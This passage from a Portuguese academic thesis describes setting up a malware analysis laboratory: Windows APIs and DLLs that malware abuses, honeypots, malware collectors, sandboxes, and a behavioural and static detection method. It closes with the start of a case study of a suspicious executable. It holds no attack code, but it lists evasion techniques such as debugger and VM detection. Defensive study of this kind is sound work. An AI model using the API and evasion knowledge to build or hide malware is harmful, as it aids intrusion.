face ou Interface de Programao de Aplicativos) uma maneira de duas aplicaes de computador comunicarem-se entre si em uma linguagem comum que ambas compreendam. A API do Windows, comumente conhecida por WinAPI a API da Microsoft, presente nos sistemas operacionais Windows. Era chamado de Win32 API, mas o nome exclua os sistemas Windows de 16 bits e 64 bits. Praticamente todos os programas do Windows interagem com o WinAPI: excees notrias esto presentes em pequeno nmero nos sistemas Windows NT (por exemplo, algumas rotinas executadas com a inicializao do Windows). Estes utilizavam o Native API (PRICE, 2011). A WinAPI utilizada por todo desenvolvedor de software cujo principal foco so os sistemas operacionais Windows. Naturalmente, os desenvolvedores de malwares cujo alvo um sistema Windows utilizaro essa API para comunicar-se com outros programas ou com o prprio sistema. A seguir, uma lista das principais APIs do Windows que podem ser usadas com princpios maliciosos: LoadLibraryA: Carrega um mdulo especco para o endereo do processo que o chama. O mdulo especicado pode fazer com que outros mdulos sejam carregados. GetProcAddress: Obtm o endrero de uma funo ou varivel de uma determinada DLL. RegOpenKeyExA: Abre uma chave de registro especca. Note que o nome das chaves no sensvel a tamanho. RegSetValueExA: Escreve os dados e o tipo de um valor especco em uma chave de registro. Utilizvel apenas em aplicaes Desktop.

52

GetEnvironmentVariableA: Obtm o contedo de uma varivel especca do bloco de ambiente do processo chamado. GetWindowsDirectoryA: Retorna o caminho do diretrio do Windows. CreateMutexA: Cria ou abre um objeto Mutex nomeado ou no. CreateFileA Cria ou abre um arquivo para um dispositivo I/O. Os dispositivos mais utilizados so: arquivo, uxo de arquivos, diretrio, disco fsico, volume, buffer do console, etc, A funo retorna um valor que pode ser usado para acessar o arquivo ou dispositivo por vrios tipos de I/O dependendo das ags ou atributos especicados. FindFirstFileA: Procura em um diretrio por um arquivo ou subdiretrio com o nome que seja igual a um nome especco ou parte de um nome especco. WriteFile: Escreve dados a um arquivo ou dispositivo I/O especco. ReadFile: L dados de um arquivo ou dispositivo I/O especco. A leitura ocorre na posio especicada pelo ponteiro do arquivo se suportada pelo dispositivo. SetFileAttributesA: Escreve os atributos de um arquivo ou diretrio. GetThreadContext: Obtm o contexto de uma thread especca. IsDebuggerPresent: Determina se o processo chamador est sendo debugado por um debugger de usurio. FindResource Determina a localizao de um recurso com o tipo especicado e o nome no mdulo especicado. ShellExecute: Realiza uma operao em um arquivo especicado. LockResource: Faz um ponteiro apontar para um recurso especco na memria. CreateProcess: Cria um novo processo e sua thread primria. O novo processo executa no contexto seguro do processo chamador.

53

Devem ser destacadas tambm as seguintes DLLs, as principais do sistema Win32, descritas em (SIKORSKI; HONIG, 2012): kernel32.dll: uma DLL muito comum que contm funcionalidades primrias, tais como acesso e manipulao de memria, arquivos e hardware. advapi32.dll: Esta DLL prov acesso s funcionalidades avanadas do Windows como gerenciamento de servios e registro do sistema. user32.dll: Esta DLL contm todos os componentes de interface com o usurio, como botes, barras de rolagem e componentes para controlar e responder s aes do usurio. gdi32.dll: Esta DLL contm funes para mostrar e manipular imagens e componentes grcos. Ntdll.dll: Esta DLL a interface com o kernel do Windows. Arquivos executveis normalmente no importam este arquivo diretamente, embora seja sempre importado indiretamente pelo kernel32.dll. Se um executvel importa este arquivo, signica que ele pretende utilizar funcionalidades no permitidas naturalmente pelo Windows. Algumas tarefas, como esconder funcionalidades ou maniplular processos usaro esta interface. WSock32.dll e Ws2_32.dll: So DLLs de rede. Um programa que utilize ambos os acessos provavelmente quer se conectar a uma rede ou realizar tarefas na rede. Wininet.dll: Esta DLL contm funes de rede de alto nvel, que implementam protocolos como o FTP, HTTP e NTP.

4.5

Drivers de Windows
(MICROSOFT, 2012) descreve driver de dispositivo (do ingls device driver) como um

software que permite que o computador se comunique com o hardware ou com os dispositivos. A Figura 19 ilustra como um driver se encaixa como intermedirio entre um dispositivo e o computador. Conhecer a estrutura de um driver importante para a anlise de malware, uma vez que os drivers so utilizados com frequncia como intermedirios na infeco de arquivos executveis ou arquivos do sistema. Os drivers podem ser inclusive utilizados para esconder um malware de um antivirus.

54

Figura 19: Driver como intermedirio entre um dispositivo e o computador

4.5.1

Estrutura de um Driver

A Figura 20 exemplica o funcionamento de um driver para um dispositivo de udio. O exemplo mostra mais detalhadamente a estrutura de um driver e sua comunicao com o dispositivo e o computador. A parte acinzentada o conjunto de programas que so chamados de driver (RIETHMULLER, 2003).

Figura 20: Estrutura de um driver de udio (RIETHMULLER, 2003)

Pela gura, nota-se que o driver na verdade um conjunto de APIs mais kernel. As APIs acessam o kernel que carregado pelo sistema operacional na inicializao (RIETHMULLER, 2003).

55

Honeypot

Em agosto de 1986, os administradores da rede de um famoso centro de pesquisas dos Estados Unidos, Lawrence Berkley Laboratory, perceberam que havia algum atacando a rede e obtendo sucesso nesses ataques. Era esperado que eles retirassem a vulnerabilidade da rede, bloqueando o invasor e impedindo o comprometimento de dados sigilosos do centro. Porm, em vez disso, eles passaram a analisar o ataque e a monitorar o invasor. Esse acontecimento tido como o primeiro relato de atividades de monitoramento do atacante (STOLL, 1988). A partir desse momento, a ideia da criao de mquinas preparadas como armadilha para invasores tornou-se eminente. O termo Honeypot (pote de mel, em portugus) utilizado para designar esse tipo de mquina. Ela utiliza diversas ferramentas (como o coletor de malware, tema do prximo captulo), que tm a funo de, propositalmente, simular falhas de segurana dos mais diversos tipos no sistema e colher informaes pessoais do invasor e detalhes da invaso.

5.1

Tipos de Honeypot
Existem dois tipos de Honeypot. Essa classicao baseada na sua funo:

Honeypot de Pesquisa Utilizado para acumular o mximo de informao do invasor e da invaso. Para isso, o sistema necessita de um alto grau de comprometimento para deixar o invasor realizar todos os seus objetivos. Funcionam sem ligao com a rede principal. Honeypot de Proteo Utilizado como elemento de distrao ou disperso. Possui o propsito de diminuir o risco de ataque das outras mquinas da rede.

56

5.2

Nveis de Honeypot
De acordo com o nvel de interatividade que o Honeypot proporciona ao atacante, pode-se

classic-lo como (BATISTELA; TRENTIN, 2009): Baixa interatividade Capazes de simular servios bsicos, como Telnet e FTP, o que limita bastante a interao do atacante com o sistema, obrigando-o a entrar em contato apenas com servios pr-congurados. So os mais fceis de implementar em termos de instalao, congurao e manuteno, porm apresenta a desvantagem de coletar menos informaes do ataque. Mdia interatividade Permite uma maior interao do atacante com o sistema, mas ainda o probe de interagir com o sistema operacional real. Um exemplo a criao de um sistema operacional virtual, cujo objetivo fazer com que o atacante entre nesse ambiente monitorado. Alta interatividade Disponibiliza sistemas operacionais e aplicaes reais ao atacante. Os servios no so simulados e nada restrito. o mais complexo de ser implementado, mas coleta a maior quantidade de informaes do ataque.

5.3

O Projeto Honeynet Global


O objetivo do Projeto Honeynet1 melhorar a segurana da Internet, compartilhando li-

es aprendidas sobre as ameaas mais comuns. Isso feito graas implantao de honeynets em todo o mundo, captura de ataques, anlise de informaes e compartilhamento de descobertas. Com base nessas informaes, a comunidade de segurana pode compreender melhor as ameaas que enfrentam e como se defender contra eles (PROJECT, 2012). O honeyTARG Honeynet Project, liderado pelo Centro de Estudos, Resposta e Tratamento de Incidentes de Segurana no Brasil (CERT.br), um captulo do Projeto Honeynet Global focado em utilizar Honeypots de baixa interao para reunir informaes sobre abuso de infraestrutura da Internet por hackers e spammers. Fazem parte do honeyTARG Honeynet Project:
1

Uma Honeynet uma rede de Honeypots.

57

Projeto SpamPots Recolher dados relacionados com o abuso da infraestrutura da Internet pelos spammers. Os principais objetivos so: Ajudar a desenvolver a pesquisa para caracterizao de spam; Desenvolver melhores formas de identicar phishing e malware e de identicar botnets atravs do abuso de proxies abertos. Projeto Honeypots Distribudos Seu objetivo aumentar a capacidade de deteco de incidentes, correlao de eventos e anlise de tendncias no espao Internet brasileiro. Para alcanar esses objetivos, o projeto possui: Uma rede (da qual o IME j fez parte) composta por honeypots de baixa interao distribudos, hospedadas em organizaes parceiras, cobrindo uma parte abrangente do espao de endereo IPv4 brasileira, como pode ser visto na Figura 21:

Figura 21: Localizao dos Honeypots no territrio brasileiro

Um sistema para noticar CSIRTs (Equipes de Resposta a Tratamento de Incidentes de Segurana) de redes que geram ataques contra os Honeypots; Estatsticas pblicas, como: Estatsticas dirias para os dados de uxo de rede direcionado para Honeypots; De hora em hora estatsticas resumidas do trfego de dados TCP/UDP direcionado para Honeypots.

58

Coletores de Malware

Os coletores de malware, utilizados nos Honeypots, servem para emular servios vulnerveis, capturar pragas virtuais e, dependendo do coletor, ainda analisar o ataque. Esse tipo de software deve ser congurado em uma mquina sem proteo de um antivrus e fora da rede principal da instituio, j que o malware pode se replicar automaticamente para os computadores da rede. Essa fase de captura de malwares de vital importncia parra o trabalho dos laboratrios de anlise de malware. Sero tratados nesse captulo as principais caractersticas dos trs coletores de malware mais conhecidos: o Honeytrap, o Nepenthes e o MWCollectd.

6.1

Honeytrap
O Honeytrap um deamon1 de honeypot de baixa interao utilizado para observar ataques

contra servios de rede. Em contraste com outros coletores, o alvo do Honeytrap no a coleta do malware propriamente dito, mas, sim, capturar a explorao inicial. Ele coleta e, alm disso, processa as rotas do ataque. Ele capaz de processar ataques desconhecidos, o que signica que nenhum conhecimento prvio sobre um protocolo ou vulnerabilidade consegue ser usado. De qualquer forma, uma conexo de entrada deve ser gerada para o ataque. Dado isso, o Honeytrap implementa um conceito de servidor dinmico para esta nalidade: ele monitora o uxo de rede para sesses de entrada e gera ouvintes para tentar uma conexo atacado-atacante. Com a conexo estabelecida, o Honeytrap realiza tudo que o atacante faz no sentido contrrio, fazendo com que este seja tambm infectado. Com isso, o modo como feito o ataque (cdigo utilizado) a uma vulnerabilidade antes desconhecida descoberto.
Um daemon, acrnimo de Disk And Execution MONitor (Monitor de Execuo e de Disco), um programa de computador que roda de forma independente em background, ao invs de ser controlado diretamente por um usurio.
1

59

Cada ouvinte pode lidar com mltiplas conexes e termina-se depois de algum tempo inativo (WERNER, 2009).

6.2

MWCollectd
O MWCollectd um deamon modular utilizado para coleta de malware, cuja funcionali-

dade est espalhada por diferentes mdulos em linguagem C++ e Python. Ele patrocinado pela Kaspersky, empresa russa produtora de softwares de segurana para a Internet. A seguir, ser dada uma viso geral sobre os diferentes mdulos, como eles interagem e o que eles fazem: (LANG, 2010) core Faz com que todos os outros mdulos trabalhem juntos e sincronizados. Como o prprio nome j diz, o corao do MWCollectd. download-curl Realiza o download de binrios dos malware que so referenciados por https ou URLs ftp. download-tftp Realiza o download de binrios dos malware atravs do protocolo TFTP (Trivial File Transfer Protocol), utilizado para transferir pequenos cheiros entre hosts de uma rede. Nesse caso, os binrios so transferidos diretamente do computador do atacante. dynserv-mirror Funciona como o Honeytrap em vulnerabilidades desconhecidas. dynserv-nfqueue Permite a criao de servidores dinmicos. embed-python Incorpora a linguagem Python 3.x no MWCollectd, permitindo o rpido desenvolvimento de servidores de rede. lestore-binaries Guarda todas as amostras de malware baixadas no sistema de arquivos local, usando md5 ou sha512 como nome dos arquivos.

60

lestore-streams Guarda todo o trfego gerado nas conexes do MWCollectd no sistema de arquivos para futura examinao. shellcode-libemu O libemu um emulador de x86 e uma biblioteca para deteco de cdigo do shell (programa em linguagem de mquina). No MWCollectd, ele utilizado para descobrir o que um certo cdigo do shell faz (emulando-o) e como o malware pode ser baixado. Esse mdulo inclui o libemu no MWCollectd. submit-mwserv O mwserv o servio de agregao de malwares usados pela MWCollect Alliance. O mdulo executa a submisso de novos binrios (incluindo o envio da amostra do malware) e de malwares j documentados no banco de dados do MWCollect Alliance (por questo de estatstica). Na Figura 22, mostrado o MWCollectd sendo utilizado.

Figura 22: MWCollectd sendo utilizado

61

6.3

Nepenthes
O Nepenthes, assim como o Honeytrap e o MWCollectd, um deamon de honeypot de

baixa interao (SOURCEFORGE.NET, 2009). Com estrutura semelhante ao MWCollectd, o Nepenthes modular. Sua arquitetura pode ser visualizada na Figura 23.

Figura 23: Arquitetura do Nepenthes (BAECHER et al., 2006)

Como pode-se notar em sua arquitetura, pode-se dividir seus mdulos em cinco tipos com caractersticas peculiares: Mdulos de vulnerabilidade Emulam as vulnerabilidades dos servios de rede. Mdulos de anlise de cdigo do shell Analisam o cdigo do shell recebido por algum mdulo de vulnerabilidade e extraem informaes sobre a propagao do malware. Mdulos de busca Utilizam a informao extrada dos mdulos de anlise de cdigo do shell para baixar o malware de uma localidade remota. Mdulos de submisso Cuidam do malware baixado, por exemplo, salvando-o para um disco rgido, guardandoo em um banco de dados, ou enviando-o para uma empresa de antivrus.

62

Mdulos de sesso Guardam informao sobre o processo de emulao e ajudam na obteno de uma viso geral dos padres dos dados coletados.

63

Sandboxes

(MARTINS, 2008) dene Sandbox como um mecanismo de segurana que cria um espao virtual no qual todas as alteraes em arquivos, conguraes e downloads efetuados so interceptadas e, aps reiniciar o computador, elas so apagadas do disco. Com o crescimento do nmero de arquivos maliciosos circulando pela web, a anlise por assinatura (antivrus) e a anlise manual (para novos malwares) se tornaram insucientes para a identicao da quantidade de malwares existentes. Houve a necessidade de automatizar os passos da anlise manual, por isso, criou-se os sandboxes. Hoje, os sandboxes so capazes de identicar cerca de 95% dos malwares novos encontrados na Internet so identicados com a anlise automtica de um sandbox. Os demais, capazes de escapar desta anlise, devem se submeter a anlise manual, objeto de estudo dos Captulos 8 e 9 deste trabalho. As Figuras 24 e 25 mostram como um sandbox participa do processo de anlise de malware.

Figura 24: Passos da Anlise de Malware

Os sandboxes geralmente utilizam-se de duas tecnologias para sua implementao: emulao e virtualizao. Na emulao, o cdigo executado em um emulador que um software que reproduz as funes de um determinado ambiente, a m de permitir a execuo de outros softwares sobre ele (Ex: QEMU). Na virtualizao, o cdigo executado em uma mquina vir-

64

Figura 25: Como um Sandbox se encaixa na Anlise

tual, que um software que simula um ambiente operacional completo que se comporta como se fosse um computador independente. So funcionalidades dos sandboxes o monitoramento de: arquivos criados ou modicados; acessos ou modicaes a chave do registro do sistema; bibliotecas dinmicas carregadas; reas da memria virtual acessadas; processos criados; conexes de rede instanciadas; e dados transmitidos pela rede. Como se pode observar, um sandbox faz todas as anlises que devem ser realizadas em uma Anlise Comportamental. Entretanto, no faz nenhum passo da Engenharia Reversa, como encontrar blocos de cdigo suspeitos, funes de callback, etc. A seguir, uma lista com os principais sandboxes presentes no mercado: CWSandbox; Anubis; Norman Sandbox;

65

ThreatExpert ; Joebox; CaptureBat; Cuckoo Sandbox (freeware e nacional); Zero Wine (freeware). Pela lista acima, nota-se que uma desvantagem dos sandboxes que poucos deles so totalmente gratuitos. A maioria, apesar de possuir algumas funcionalidades grtis em testes pela Internet, no fornecem relatrios completos. Outra desvantagem que no existe um modelo padro de relatrio entre as sandboxes do mercado. Cada uma delas d uma reposta particular. A terceira desvantagem, j citada anteriormente, que nem todos os cdigos maliciosos so identicados pela anlise automatizada dos sandboxes. Sendo assim, as anlises manuais (comportamental e esttica) recebem uma grande importncia no processo de deteco de malwares.

66

Infraestrutura do Laboratrio de Malware

O trabalho, at ento, esteve focado em descrever os diversos processos, mtodos e ferramentas que devem estar presentes em um laboratrio de anlise de malware. Esse captulo destina-se a detalhar a interligao entre os mais diversos componentes do laboratrio, apresentando suas estruturas lgica e fsica, alm de descrever uma metodologia do processo de deteco de malwares, utilizando-se de tcnicas de anlise dinmica e esttica.

8.1

Estrutura Lgica do Laboratrio


A estrutura lgica do laboratrio de anlise de malware diz respeito a como os componen-

tes do laboratrio se organizam e se comunicam e est detalhada na Figura 26:

Figura 26: Projeto de Laboratrio de Malware

67

da Internet que so capturadas as pragas virtuais que se tornaro objetos de estudo. Essa captura realizada por redes de mquinas preparadas como armadilha para invasores, denominadas Honeynets, cujas mquinas possuem softwares denominados Coletores de Malware, que simulam vulnerabilidades para atra-los. Um exemplo desse tipo de programa o MWCollect. Os arquivos PE (executveis) coletados passam por um processo de anlise, a qual dividida em trs ramos, no intuito de determinar se realmente tratam-se de softwares maliciosos e, se isso for verdade, gerar assinaturas prprias (CreateSig) que os identiquem como malwares. Essas assinaturas devem ser registradas pelos antivrus para que estes possam identic-los na mquina de qualquer usurio. Como visto na Figura 26, os trs ramos da anlise encontram-se em cores diferentes e sero explicados abaixo: A regio amarela concentra-se em estudar a estrutura dos arquivos executveis coletados. As informaes geradas servem para abastecer a regio verde, que ser descrita abaixo. A regio verde diz respeito anlise realizada por Sandboxes, tema do captulo sete do trabalho. Os arquivos coletados so inseridos nelas e passam por uma espcie de anlise automatizada, j que essas caixas apresentam inteligncia articial (IA). Esse tipo de anlise responsvel por detectar a grande maioria dos arquivos maliciosos. A regio vermelha, foco de sees desse captulo, a anlise manual e aprofundada do cdigo (Engenharia Reversa) e do comportamento (Anlise Comportamental) dos executveis. Os malwares mais elaborados, normalmente os criados com propsitos especiais, como sabotagem governamental (o malware Stuxnet um exemplo disso), so construdos de tal forma que os Sandboxes no conseguem detect-los.

8.2

Estrutura Fsica e Softwares do Laboratrio


Apesar da complexidade do trabalho realizado no laboratrio, os equipamentos necess-

rios para mont-lo so poucos e simples. Com um conjunto de computadores e roteadores robustos, a anlise de malware j pode ser realizada. A diculdade maior est em se obter bons softwares para realizar o trabalho. Abaixo, uma lista de classes de softwares que devem ser utilizados para realizar o processo global, assim como os recomendados para tal: Honeypot que contenha um coletor de malware, para a captura dos arquivos maliciosos.

68

Recomenda-se o MWCollect. Sandbox, para a anlise automatizada. Recomenda-se o Cuckoo Sandbox. Programa para anlise de estrutura de arquivos executveis. Recomenda-se o PEScanner. Mquina virtual, que permita a realizao da anlise em ambiente fechado e protegido. Recomenda-se o VMWare. Farejador, para observar as atividades de trfego na rede que o arquivo candidato a malware realizar. Recomenda-se o Wireshark. Analisador de processos, para vericar a rvore de processos aberta pelo arquivo. Utilizouse o Process Explorer nesse trabalho. Fotgrafo de registros no sistema, que identica quais registros foram modicados, inseridos ou apagados aps a execuo do arquivo. Utilizou-se o Regshot para tal anlise. Disassembler, para vericar, em linguagem de mquina, o funcionamento em baixo nvel do arquivo analisado, fundamental para a Engenharia Reversa. Utilizou-se o IDA Pro Free. Alm dos citados, recomenda-se a utilizao conjunta do Sandboxie, que executa programas Windows em um ambiente Sandbox, e do Buster, que registra acessos ao sistema de arquivos, registros e outros. Os logs produzidos pelo Buster mostram as APIs utilizadas pelo sistema, conforme mostra a Figura 27.

Figura 27: Buster em Execuo

69

8.3

Metodologia para o Processo de Deteco de Malware


Como dito anteriormente, alguns cdigos maliciosos no so detectados apenas com a

utilizao dos Sandboxes, por serem mais elaborados e conterem funcionamentos maliciosos que no so acionados enquanto em ambientes controlados. Nesses casos, uma anlise mais aprofundada necessria e no existe nenhuma classe de programa que a realize automaticamente, sendo necessrio o trabalho manual de um analista capacitado. No intuito de facilitar esse trabalho, foi criada uma metodologia de como deve ser realizada essa anlise, que se divide em comportamental e esttica. Deve ser lembrado que a manipulao de um arquivo possivelmente malicioso pode colocar em risco a mquina. Portanto, todos os passos devem ser executados em mquinas virtuais, as quais no devem possuir nenhum tipo de servio ou arquivo importante para o laboratrio.

8.3.1

Metodologia da Anlise Comportamental

O primeiro passo a ser dado na tentativa de deteco de um cdigo malicioso vericar o comportamento do arquivo assim que executado. Uma observao importante antes de se iniciar a Anlise Comportamental fazer um backup da mquina virtual utilizada para que cada um dos passos no interra ou diculte as anlises dos outros. Por exemplo: executar outros programas durante a captura de registros dicultar a leitura do relatrio gerado, uma vez que esses programas tambm podem realizar acessos ao registro do sistema. Segue abaixo como essa vericao deve ser feita: 1. Executar o arquivo e atentar para os efeitos de execuo perceptveis 2. Capturar o trfego de rede Utilizando um farejador (por exemplo Wireshark), vericar se houve comunicaes estabelecidas com a rede. Qualquer comunicao pode ser envio de dados ou pedido de download de um arquivo. Aps capturar o trafego de rede, vericar o remetente/destinatrio para tentar descobrir a origem do atacante.

70

3. Analisar o acesso ao sistema de arquivos Executando o Process Explorer possvel vericar todas as DLLs e processos abertos, bem como identicar quem est executando cada processo. Tambm possvel eliminar uma rvore de processos se necessrio. Ao analisar um processo vericar as suas DLLs e identicar as maliciosas. 4. Analisar o acesso ao registro Com o Regshot clicar na opo 1st Shot. Executar apenas o programa que se deseja analisar. Clicar na opo 2nd Shot e enm, Compare. Aps isso, vericar os registros acessados e determinar o que foi alterado com suas alteraes. 5. Dar o veredicto baseado na Anlise Comportamental Aps realizados todos os itens anteriores e de posse de todas as informaes e dados adquiridos com eles, deve ser concludo se o software estudado considerado malicioso ou se no h provas sucientes para que ele o seja.

8.3.2

Metodologia da Anlise Esttica

O segundo passo para a determinao de se um arquivo estudado malicioso ou no a anlise dos componentes estticos do software, ou seja, do prprio cdigo. Para isso, um disassembler, aquele que converte um programa em uma sequncia de instrues em cdigo assembly, ser utilizado. A ferramenta escolhida para uso no trabalho foi o IDA Pro Free, capaz de manipular executveis de praticamente qualquer tipo de processador, sendo uma ferramenta bastante utilizada na Engenharia Reversa. (VENERE, 2009) Sua grande gama de plugins especialmente feitas para ele encontrada na Web tornam sua capacidade de anlise praticamente ilimitada. Uma caracterstica importante do IDA Pro que, para se realizar a anlise de um arquivo, no necessria a sua execuo. O IDA Pro mostra seu cdigo em binrio e, a partir dele, todos os tipos de estudos podem ser realizados sem o perigo de uma infeco na mquina. Podem ser realizadas operaes que permitem ao analista inserir comentrios, consertar cdigos que tenham sido erroneamente identicados pelo IDA, criar ou remover funes, estruturas e tipos, renomear objetos e outras. Alguns recursos importantes que o IDA apresenta e que sero utilizados no estudo so listados a seguir:

71

Lista de nomes Mostra todos os nomes identicados e/ou criados pelo IDA e os criados pelo prprio analista. Com essa lista, pode-se chegar a qualquer dado do programa rapidamente. Lista de strings Mostra todos os textos reconhecidos pelo IDA. Lista de funes Mostra todas as funes identicadas pelo IDA, tanto s pertencentes a bibliotecas como as nomeadas automaticamente pelo IDA. Lista de funes importadas Mostra a lista de funes que o IDA identica como sendo importadas de DLLs externas. Elas so representadas no cdigo apenas pelas suas declaraes. Lista de funes exportadas Mostra as funes que o programa exporta. Viso hexadecimal Mostra o contedo dos bytes do programa. Estruturas e enumeraes Mostra as estruturas e enumeraes identicadas pelo IDA. Debugger Faz com que o cdigo seja executado instruo por instruo. Permite que cada instruo seja estudada separadamente. Scripts Permite rodar scripts no IDA, fazendo-o executar as instrues contidas no prprio script, como renomear funes colocando o nmero de vezes que a funo chamada. Grco de Chamadas Representa a relao entre funes do executvel. Nesse grco, as funes so os ns e as chamadas de funo so as arestas. Um exemplo pode ser visto na Figura 28.

72

Figura 28: Exemplo de grco de chamadas

Grco de Fluxo de Controle D uma viso geral do executvel, separando-o em blocos bsicos1 . Nesse grco, os blocos bsicos so os ns e as arestas so os caminhos lgicos possveis. Pode-se ver um exemplo na Figura 29.

Figura 29: Exemplo de grco de uxo de controle

A seguir, tem-se uma sequncia de atividades que servem para descobrir funcionamentos maliciosos. A anlise desses funcionamentos, ou seja, saber o que os trechos de cdigo fazem exatamente quando o software executado, de imprescindvel importncia para o veredicto nal, que consider-lo malicioso ou no.

Bloco bsico a maior sequncia de instrues executadas antes de um salto condicional.

73

1. Descobrir o bsico Analisar a Lista de Strings do programa Essa lista poder dar informaes importantes sobre o funcionamento do programa, j que as palavras identicadas podem ser parmetros de funes, funes, etc. Ao ser examinada a lista, pode-se descobrir, por exemplo, textos caractersticos de mensagens de e-mail, nomes de usurios, sites da Web, que podem ser acessados durante a execuo do programa, comandos de comunicao com servidores e outros. Descobrir as funes importadas Muitas funes de bibliotecas importadas podem ser chamadas por funes do prprio programa. Saber quais so essas funes importadas, quais as funes internas que as chamam e o porqu destas as chamarem pode dizer muito sobre o comportamento do programa. Procurar por assinaturas de cdigo O programa pode possuir cdigo padro inserido por compiladores ou pode ter sido compilado estaticamente com suas bibliotecas. Encontrar quais so esses cdigos evita o trabalho de ter de analis-los e ainda pode dar informaes sobre qual o compilador utilizado. Nem sempre a informao ganha com essa procura por assinaturas til. Passar para a visualizao grca Aps a identicao de algumas funes importantes com o que foi descrito at aqui, j se comea a ter uma ideia das funcionalidades do programa. Assim, uma visualizao do grco de chamadas passa a ser interessante. Isso vai descrever o comportamento geral do cdigo que est sendo estudado, mostrando quais so as funes mais importantes e aquelas que apenas so chamadas em casos especcos. Um exemplo disso uma funo maliciosa que s executada caso o programa no esteja sendo analisado em um debugger, no intuito de se camuar do analista. Identicar funes bsicas Atravs das funes identicadas at agora, deve-se procurar descobrir o funcionamento das funes mais simples do programa, as quais, normalmente, so aquelas que aparecem nas folhas do grco de chamada. Identicando-as, o funcionamento geral do programa comea a ser delineado e passa-se a ter mais informaes sobre o funcionamento do programa.

74

A utilizao de grcos de chamada e de controle de uxo facilita essa identicao. 2. Procurar por tcnicas anti-engenharia reversa Ao ser realizada a descoberta dos pontos bsicos do programa, algumas tcnicas antiengenharia reversa podem ser encontradas: Deteco de debugger Procurar por funes que detectam a utilizao de debugger, como a IsDebuggerPresent(), pertencente biblioteca Kernel32.dll. Essas funes podem ser utilizadas para esconder comportamentos maliciosos do analista e, consequentemente, dicultar sua anlise. Cdigos no alinhados Caracterizada pela larga utilizao de JUMPs e CALLs, utilizada para dicultar a anlise, confundindo o analista diante de saltos incondicionais e chamadas a funes que, muitas vezes, no tm nenhum comportamento importante. Deteco de mquina virtual Similar deteco de debugger, porm para mquinas virtuais. 3. Emular o programa Caso a descoberta anterior no tenha encontrado pontos sucientes para se dizer se um arquivo malicioso ou no, seja pelo cdigo estar ofuscado ou ento por ser muito complexo, interessante executar o programa em um ambiente emulado. O IDA Pro tem um plugin para emular uma CPU X86, o que torna possvel executar um programa malicioso sem risco de comprometer a mquina, pois as instrues so executadas em um processador virtual. importante vericar se no existem funes de callback e, se existirem, o que elas fazem. Para isso, deve-se colocar um breakpoint na primeira instruo do programa e execut-lo. A existncia de algum comportamento inesperado indica a presena desse tipo de funo. Com isso, deve-se procur-la e identicar seu comportamento. 4. Dar o veredicto baseado na Anlise Esttica Como na Anlise Comportamental, aps realizados todos os itens anteriores e de posse de todas as informaes e dados adquiridos com eles, deve ser concludo se o software estudado considerado malicioso ou se no h provas sucientes para que ele o seja.

75

8.3.3

Determinao da Maliciosidade

Levando em considerao todos os dados e informaes coletadas e os veredictos das Anlises Comportamental e Esttica, dado o veredicto nal, o qual condena o software, dizendo que ele malicioso, ou ento, se no houver provas sucientes para isso, o arquivo estudado no deve ser considerado malicioso.

76

Estudo de Casos como Prova de Conceito do Uso do Laboratrio de Anlise de Malware

Como prova de conceito do uso do Laboratrio de Anlise de Malware, passaro pela metodologia para o processo de deteco de malware quatro arquivos coletados na web e suspeitos de serem maliciosos e um malware criado no trabalho, cujo cdigo-fonte encontra-se no Apndice A. Suas anlises seguiro a seguinte ordem: Descrio breve do funcionamento do programa antes da anlise sobre o ponto de vista do usurio; Desenvolvimento da Anlise Comportamental, mostrando a anlise dos resultados obtidos pelo Process Explorer e pelo Regshot. Os dados encontrados por esse ltimo esto no apndice do presente trabalho. Por questes de segurana, a mquina est em um ambiente isolado, impossibilitando a utilizao do Wireshark para a captura do trfego de rede; Desenvolvimento da Engenharia Reversa, atravs dos processos de depurao e transformao em linguagem de mquina utilizando o IDA Pro Free; e Diagnstico do cdigo como malicioso ou no. Dado o diagnstico baseado na metodologia criada para deteco de malwares, o arquivo ser analisado por um site chamado VirusTotal (www.virustotal.com.br), no qual em torno de 40 antivrus renomados escaneiam o programa e depois mostrada uma estatstica de quantos deles o consideram uma praga virtual. Esse diagnstico secundrio feito com o intuito de vericar a eccia da metodologia.

77

9.1

Artefato 1
O primeiro arquivo analisado neste estudo possui o nome de acer.jpg.exe. Ao execut-lo,

a nica mudana observada o desaparecimento do arquivo da pasta corrente. Caso a visibilidade dos arquivos ocultos seja liberada, ser possvel observar que o arquivo ainda encontra-se escondido em seu lugar original, conforme mostra a Figura 30.

Figura 30: Arquivo acer.jpg.exe oculto em sua pasta.

9.1.1

Anlise Comportamental

Process Explorer Inicialmente, cabe comentar sobre uma funcionalidade do Process Explorer que facilita a anlise. Caso determinado processo seja considerado malicioso pelo software, a linha que o representa estar marcada com a cor roxa. A Figura 31 contm uma fotograa com esse recurso sendo utilizado. Sendo assim, pela Figura 32, observa-se que o processo executado ao se abrir o arquivo est nessa cor, o que j indica que ele pode ser um malware. O processo lho desse processo (de cor verde por ter sido inicializado no instante da fotograa) desaparece pouco depois de ser iniciado, como pode se ver na Figura 33. Esse comportamento suspeito o faz ser considerado um malware. H ainda outro fator importante que o caracteriza como um processo suspeito: a ausncia de descrio e companhia responsvel pelo produto. Isso sempre um sinal que deve ser considerado na anlise.

78

Figura 31: Potenciais processos maliciosos para o Process Explorer

Figura 32: Arquivo recm-executado

79

Figura 33: Arquivo um tempo depois de ser executado

Regshot Ao fazer uma busca breve sobre os valores modicados em negrito no registro (vide Apndice B), verica-se que eles esto ligados ao Firewall do Windows. Os demais repetem-se em todos os artefatos, sendo provavelmente uma alterao do registro feita pelo evento da segunda captura do Regshot. Sendo assim, unindo os resultados das duas ferramentas, esse cdigo considerado malicioso do ponto de vista da Anlise Comportamental.

80

9.1.2

Engenharia Reversa

Aps a anlise do programa, alguns fatores comuns a cdigos maliciosos foram encontrados: Lista de funes importadas Segue, na Figura 34, as funes importadas que so utilizadas pelo programa:

Figura 34: Lista de funes importadas do acer.jpg.exe

V-se a presena das seguintes funes que normalmente so utilizadas para ns maliciosos (foram explicadas na seo 5.5): LoadLibraryA GetProcAddress RegQueryValueExA Nota-se que, ao ser aberto, o arquivo referencia funes de manipulao de registros do Windows. Um software no malicioso no costuma referenciar esse tipo de arquivo, j que no pretende mudar nenhuma congurao ou informao salva do sistema operacional. Lista de nomes (vide Figura 35) Como pode ser visto, nada muito diferente do que as funes importadas foram encontrados pelo IDA Pro, mostrando novamente nomes sugestivos a uma maliciosidade.

81

Figura 35: Lista de nomes do acer.jpg.exe

De acordo com as funes e nomes encontrados, a Engenharia Reversa mostra que o arquivo malicioso.

9.1.3

Resultado da Metodologia

Unindo os resultados da Anlise Comportamental e da Engenharia Reversa, pode-se dizer que o arquivo malicioso.

9.1.4

